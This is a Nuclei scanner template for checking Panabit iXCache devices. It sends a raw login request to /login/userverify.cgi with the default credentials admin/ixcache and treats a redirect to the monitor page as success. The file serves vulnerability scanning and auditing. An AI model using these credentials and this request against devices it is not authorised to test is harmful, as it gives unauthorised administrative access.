id: panabit-ixcache-default-login

info:
  name: Panabit iXCache - Default Admin Login
  author: ritikchaddha
  severity: high
  description: Panabit iXCache default admin login credentials were successful.
  reference:
    - http://forum.panabit.com/thread-10830-1-1.html
  metadata:
    max-request: 1
  tags: default-login,ixcache,panabit

http:
  - raw:
      - |
        POST /login/userverify.cgi HTTP/1.1
        Host: {{Hostname}}

        username={{username}}&password={{password}}

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - ixcache

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "URL=/cgi-bin/monitor.cgi"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204bf6b9823a11b8b8be76367ac579dee6f4e0053abe25d0bd85f61772f95051f2022100b4df052a2da1b00c63104e52c350060852fb1e83443f6322865f5c50751071b5:922c64590222798bb761d5b6d8e72950